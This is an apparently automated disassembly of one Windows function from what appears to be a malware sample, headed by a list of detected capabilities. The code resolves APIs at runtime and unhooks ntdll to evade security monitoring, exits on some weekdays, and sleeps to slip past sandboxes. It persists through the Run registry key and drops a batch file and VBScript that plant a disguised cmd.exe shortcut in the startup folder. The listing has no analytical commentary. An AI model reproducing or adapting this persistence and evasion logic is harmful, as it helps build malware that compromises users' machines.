Function at 0x140001a16
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path
Get startup folder
Link many functions at runtime
Persist via run registry key
Query environment variable
Set registry value
Terminate process
Write and execute a file
Write file on windows
Write file to startup folder

Disassembly:
push rbp
sub rsp, 0xe20
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xdb0], ecx
mov qword [rbp + 0xdb8], rdx
call dbg.__main
mov ecx, 1
call sym.sub_0x0724edif_int_
test eax, eax
setne al
test al, al
je 0x140001a59
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
movabs rax, 0x555e54534d660059
movabs rdx, 0x5f4e49434966494d
mov qword [rbp + 0xd00], rax
mov qword [rbp + 0xd08], rdx
movabs rax, 0x4e54660809575f4e
movabs rdx, 0x3a56565e1456565e
mov qword [rbp + 0xd0e], rax
mov qword [rbp + 0xd16], rdx
movabs rax, 0x6946657461657243
movabs rdx, 0x6e697070614d656c
mov qword [rbp + 0xce0], rax
mov qword [rbp + 0xce8], rdx
mov dword [rbp + 0xcef], 0x41676e
movabs rax, 0x4f7765695670614d
mov qword [rbp + 0xcd2], rax
movabs rax, 0x656c6946664f77
mov qword [rbp + 0xcd8], rax
movabs rax, 0x65695670616d6e55
movabs rdx, 0x656c6946664f77
mov qword [rbp + 0xcc0], rax
mov qword [rbp + 0xcc8], rdx
mov dword [rbp + 0xd9c], 0x1e
mov dword [rbp + 0xd98], 0xa
mov dword [rbp + 0xd94], 0
lea rax, [0x140009010]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0xce0]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xd88], rax
lea rax, [0x140009010]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0xcd2]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xd80], rax
lea rax, [0x140009010]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0xcc0]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xd78], rax
mov eax, dword [rbp + 0xd9c]
sub eax, 1
mov eax, eax
movzx eax, byte [rbp + rax + 0xd00]
movsx ecx, al
mov edx, dword [rbp + 0xd9c]
lea rax, [rbp + 0xd00]
mov r8d, ecx
mov rcx, rax
call sym.__0x0034fed_char__unsigned_long_long__char_
lea rax, [rbp + 0xd00]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0xd70], rax
cmp qword [rbp + 0xd70], 0xffffffffffffffff
jne 0x140001c41
mov eax, 0xffffffff
jmp 0x14000259c
mov r10, qword [rbp + 0xd88]
mov rax, qword [rbp + 0xd70]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
call r10
mov qword [rbp + 0xd68], rax
cmp qword [rbp + 0xd68], 0
jne 0x140001ca5
mov rax, qword [rbp + 0xd70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x14000259c
mov r10, qword [rbp + 0xd80]
mov rax, qword [rbp + 0xd68]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
call r10
mov qword [rbp + 0xd60], rax
cmp qword [rbp + 0xd60], 0
jne 0x140001d14
mov rax, qword [rbp + 0xd68]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0xd70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x14000259c
lea rax, section..data
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0xd60]
mov rdx, rax
call sym.UnhookNtdll_HINSTANCE____void_
mov dword [rbp + 0xd94], eax
mov rdx, qword [rbp + 0xd78]
mov rax, qword [rbp + 0xd60]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0xd68]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0xd70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0xbb0]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1c
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rdx, [rbp + 0xbb0]
lea rax, [rbp + 0xaa0]
lea r9, str.UtilisatNT
mov r8, rdx
lea rdx, str._sMicrosoft_s
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, str.UtilisatNT
mov rcx, rax
call sym.__createFUDtr_char_const_
mov ecx, 0
call sym.time
mov qword [rbp + 0xa98], rax
lea rax, [rbp + 0xa98]
mov rcx, rax
call sym.localtime
mov qword [rbp + 0xd58], rax
mov rax, qword [rbp + 0xd58]
mov eax, dword [rax + 0x18]
mov dword [rbp + 0xd54], eax
cmp dword [rbp + 0xd54], 0
je 0x140001e44
cmp dword [rbp + 0xd54], 1
je 0x140001e44
cmp dword [rbp + 0xd54], 6
je 0x140001e44
lea rax, str._t__Today_is_not_My_Mood_._Exiting..._n
mov rcx, rax
call sym.printf_char_const__::_
mov ecx, 1
call sym.exit
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.Sleep
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xd48], rax
mov rax, qword [rbp + 0xd48]
mov ecx, 0x4e20
call rax
lea rax, str.UtilisatNT
mov rcx, rax
call sym.__createFUDtr_char_const_
lea rax, str.SdfxiWID.dll
mov rcx, rax
call sym.MyLoadLibrary_wchar_t_const_
mov qword [rbp + 0xd40], rax
cmp qword [rbp + 0xd40], 0
je 0x140001efa
mov rax, qword [rbp + 0xd40]
lea rdx, str.CatBark
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xd38], rax
cmp qword [rbp + 0xd38], 0
je 0x140001ee5
mov rax, qword [rbp + 0xd38]
call rax
mov rax, qword [rbp + 0xd40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x140001f09
lea rax, str.____Failed_to_load_library_:__n
mov rcx, rax
call sym.printf_char_const__::_
mov dword [rbp + 0xd34], 0
lea rax, [rbp + 0x990]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov dword [rbp + 0xd34], eax
cmp dword [rbp + 0xd34], 0
jne 0x140001f4a
mov eax, 0xffffffff
jmp 0x14000259c
lea rax, [rbp + 0x988]
mov r8, rax
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
test eax, eax
setne al
test al, al
je 0x140001f81
mov eax, 0xffffffff
jmp 0x14000259c
lea rax, [rbp + 0x990]
mov rcx, rax
call sym.strlen
add eax, 1
mov dword [rbp + 0xd30], eax
mov rax, qword [rbp + 0x988]
mov edx, dword [rbp + 0xd30]
mov dword [rsp + 0x28], edx
lea rdx, [rbp + 0x990]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.secroot
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
test eax, eax
setne al
test al, al
je 0x140001ffb
mov rax, qword [rbp + 0x988]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0xffffffff
jmp 0x14000259c
mov rax, qword [rbp + 0x988]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp + 0x880]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 7
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rax, [rbp + 0x880]
mov r9d, 0x40
lea r8, str.TITLE
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rax, str.TEMP
mov rcx, rax
call sym.getenv
mov qword [rbp + 0xd28], rax
mov rdx, qword [rbp + 0xd28]
lea rax, [rbp + 0x770]
lea r9, str.Wct008482.bat
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x770]
mov rdx, rax
lea rax, str._t___s_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp + 0x770]
lea rdx, [0x14000a16c]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0xd20], rax
lea rax, [rbp + 0x170]
lea rdx, str._echo_off_r_n
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x570]
lea rdx, [0x14000a17a]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x570]
lea rdx, [0x14000a17a]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x570]
lea rdx, [0x14000a17a]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x570]
lea rdx, [0x14000a17a]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x570]
lea rdx, [0x14000a17a]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x570]
lea rdx, [0x14000a17a]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x570]
lea rdx, [0x14000a17a]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x570]
lea rdx, [0x14000a17a]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x570]
lea rdx, [0x14000a17a]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x570]
lea rdx, [0x14000a17a]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x570]
lea rdx, [0x14000a17a]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x570]
lea rdx, [0x14000a17a]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
mov rax, qword [rbp + 0xdb8]
mov rcx, qword [rax]
lea rdx, [rbp + 0x880]
lea rax, [rbp + 0x570]
mov r9, rcx
mov r8, rdx
lea rdx, str.echo_Set_objShell__CreateObject__WScript.Shell_____embryo.vbs__n_echo_Set_objShortcut__objShell.CreateShortcut___siOffice.lnk______embryo.vbs__n_echo_objShortcut.WindowStyle__7____embryo.vbs__n_echo_objShortcut.TargetPath____windir__system32cmd.exe_____embryo.vbs__n_echo_objShortcut.IconLocation___C:Program_Files__x86_Windows_NTAccessoriesWordPad.exe_____embryo.vbs__n_echo_objShortcut.Arguments____c__s_____embryo.vbs__n_echo_objShortcut.Save____embryo.vbs__n_cscript_embryo.vbs__n_del_embryo.vbs
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rdx, [rbp + 0x570]
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rcx, qword [rbp + 0xd20]
lea rax, [rbp + 0x170]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0xd20]
mov rcx, rax
call sym.fclose
lea rax, str.___Content_Wrote_to_file_successfully._n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp + 0x100]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x100], 0x68
lea rax, [rbp + 0xe0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x13c], 0x101
mov word [rbp + 0x140], 0
mov rdx, qword [rbp + 0xd28]
lea rax, [rbp - 0x30]
lea r9, str.Wct008482.bat
mov r8, rdx
lea rdx, str.cmd__c__s_s
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0xe0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0xe0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0xe20
pop rbp
ret